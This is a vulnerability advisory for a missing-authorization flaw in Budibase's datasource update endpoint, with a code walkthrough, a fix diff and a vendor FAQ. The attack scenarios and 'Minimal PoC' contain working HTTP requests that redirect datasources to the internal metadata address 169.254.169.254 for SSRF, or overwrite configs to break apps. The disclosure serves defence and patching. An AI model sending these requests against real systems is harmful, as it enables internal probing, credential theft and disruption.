CVE-2026-45717

Budibase exposes a REST API for datasource management. The route PUT /api/datasources/:datasourceId is registered in the authorizedRoutes group with TABLE/READ permission. This is the same authorization level as the read endpoint (GET /api/datasources/:datasourceId). Every authenticated Budibase app user with the BASIC built-in role or higher carries TABLE/WRITE (and therefore TABLE/READ) permissions, and the datasource update controller performs no additional builder check.

As a result, any authenticated non-builder app user can submit a PUT request to rewrite a datasource's config object, including the connection host, port, database credentials, or the base url of a REST datasource. Because no network-level SSRF protection is applied to SQL driver connections, redirecting a PostgreSQL/MySQL/MongoDB datasource to an internal IP address succeeds and the attacker can probe or interact with internal services on arbitrary ports.

Code evidence

Route registration, wrong authorization group

packages/server/src/api/routes/datasource.ts, line 35-37

authorizedRoutes
  .get("/api/datasources/:datasourceId", datasourceController.find)
  .put("/api/datasources/:datasourceId", datasourceController.update)   // <-- should be builderRoutes

All destructive (create/delete/verify) operations are gated behind builderRoutes:

builderRoutes
  .get("/api/datasources", datasourceController.fetch)
  .post("/api/datasources/verify", datasourceController.verify)
  .post("/api/datasources", datasourceValidator(), datasourceController.save)
  .delete("/api/datasources/:datasourceId/:revId", datasourceController.destroy)

The update route shares the same authorization group as the read route, not the builder group.

Authorization middleware allows BASIC-role users

packages/server/src/middleware/authorized.ts, lines 46-50
packages/backend-core/src/security/permissions.ts, lines 82-90
packages/backend-core/src/security/roles.ts, lines 162-169

authorizedRoutes is defined with authorized(PermissionType.TABLE, PermissionLevel.READ).

When doesHaveBasePermission(TABLE, READ, rolesHierarchy) is evaluated for a BASIC-role user:

• BASIC role → BuiltinPermissionID.WRITE
• WRITE permission includes PermissionImpl(PermissionType.TABLE, PermissionLevel.WRITE)
• getAllowedLevels(WRITE) returns [WRITE, READ]
• Therefore TABLE/READ is satisfied → user is authorized

BASIC is the lowest non-public authenticated built-in role. Any end-user account added to a Budibase app will be assigned at minimum the BASIC role.

Controller performs no additional builder check

packages/server/src/api/controllers/datasource.ts, lines 207-255

export async function update(ctx) {
  const db = context.getWorkspaceDB()
  const datasourceId = ctx.params.datasourceId
  const baseDatasource = await sdk.datasources.get(datasourceId)  // no builder guard
  await invalidateVariables(baseDatasource, ctx.request.body)

  const dataSourceBody: Datasource = isBudibaseSource
    ? { name: ..., type: ..., source: SourceName.BUDIBASE }
    : ctx.request.body                                              // attacker-controlled config

  let datasource: Datasource = {
    ...baseDatasource,
    ...sdk.datasources.mergeConfigs(dataSourceBody, baseDatasource),  // merges attacker config
  }

  const response = await db.put(sdk.tables.populateExternalTableSchemas(datasource))  // persisted
  ...
}

mergeConfigs does not protect non-password connection fields

packages/server/src/sdk/workspace/datasources/datasources.ts, lines 278-316

mergeConfigs only replaces PASSWORD_REPLACEMENT sentinel values back to the stored secret. Fields like host, port, database, url, ssl are taken from the update payload without restriction:

// update back to actual passwords for everything else
for (let [key, value] of Object.entries(update.config)) {
  if (value !== PASSWORD_REPLACEMENT) {
    continue          // non-password fields pass through unchanged
  }
  ...
}

Attack scenarios

Scenario 1: SSRF via SQL driver connection redirection

1. Attacker is a BASIC-role user of a Budibase app that has a PostgreSQL (or MySQL/MongoDB) datasource.
2. Attacker sends:

   PUT /api/datasources/<datasource_id> HTTP/1.1
   Host: target
   Authorization: Bearer <app-user-token>
   Content-Type: application/json
   
   {
     "config": {
       "host": "169.254.169.254",
       "port": 5432,
       "database": "postgres",
       "user": "postgres",
       "password": "PASSWORD_REPLACEMENT"
     }
   }
   

3. Datasource config is persisted with host: 169.254.169.254.
4. Any subsequent query execution against this datasource (POST /api/queries/execute) causes Budibase's PostgreSQL driver to open a TCP connection to 169.254.169.254:5432 on the internal network.
5. Unlike REST connector SSRF (which has an IP deny list), SQL driver connections are made at the OS network level without HTTP-layer filtering, bypassing the existing SSRF mitigation introduced for REST connectors.

Scenario 2: SSRF via REST datasource URL change

1. Same setup with a REST datasource.
2. Attacker sends:

   PUT /api/datasources/<datasource_id> HTTP/1.1
   ...
   {
     "config": {
       "url": "http://169.254.169.254/latest/meta-data/"
     }
   }
   

3. If the IMPORT_IP_DENY_LIST equivalent for Budibase's REST connector is not configured, the fetch proceeds and the response is visible in query results.
4. Even with IP restrictions on the REST connector, the attacker can point the URL to any public-facing internal service (e.g., a staging server, internal API).

Scenario 3: Datasource disruption / DoS

An attacker with BASIC permissions can overwrite the datasource config with garbage values, breaking all application queries that depend on that datasource for all users of the app.

Minimal PoC shape

PUT /api/datasources/<target_datasource_id> HTTP/1.1
Host: <budibase-host>
Authorization: Bearer <basic-user-access-token>
Content-Type: application/json

{
  "name": "Modified",
  "source": "POSTGRES",
  "type": "datasource",
  "config": {
    "host": "169.254.169.254",
    "port": 5432,
    "database": "postgres",
    "user": "postgres",
    "password": "PASSWORD_REPLACEMENT",
    "ssl": false
  }
}

Expected secure behavior:

• Return 403 Forbidden, only builder/admin users should be allowed to update datasource configurations.

Observed source behavior:

• Config is persisted to CouchDB and all future queries against the datasource use the attacker-supplied connection parameters.

Why this is distinct from known CVEs

The root cause here is a route-level authorization misconfiguration: PUT /api/datasources/:id is registered in the wrong endpoint group (authorizedRoutes vs builderRoutes).

Fix direction

Move the PUT /api/datasources/:datasourceId route from authorizedRoutes to builderRoutes:

- authorizedRoutes
-   .get("/api/datasources/:datasourceId", datasourceController.find)
-   .put("/api/datasources/:datasourceId", datasourceController.update)

+ authorizedRoutes
+   .get("/api/datasources/:datasourceId", datasourceController.find)

+ builderRoutes
+   .put("/api/datasources/:datasourceId", datasourceController.update)

Submission note

Current state: source-confirmed candidate.
Runtime reproduction (HTTP request against live Budibase instance) has not been executed in this session.
Budibase has an active GHSA process, security reports via GitHub Security Advisories should receive triage within days based on historical pattern.

Initial severity estimate: High (CVSS ~8.1)

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

CVE-2026-45717 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.38.1); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-45717? CVE-2026-45717 is a high-severity missing authorization vulnerability in @budibase/server (npm), affecting versions < 3.38.1. It is fixed in 3.38.1. The application does not perform an authorization check before performing a sensitive operation.
2. How severe is CVE-2026-45717? CVE-2026-45717 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @budibase/server are affected by CVE-2026-45717? @budibase/server (npm) versions < 3.38.1 is affected.
4. Is there a fix for CVE-2026-45717? Yes. CVE-2026-45717 is fixed in 3.38.1. Upgrade to this version or later.
5. Is CVE-2026-45717 exploitable, and should I be worried? Whether CVE-2026-45717 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45717 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45717? Upgrade @budibase/server to 3.38.1 or later.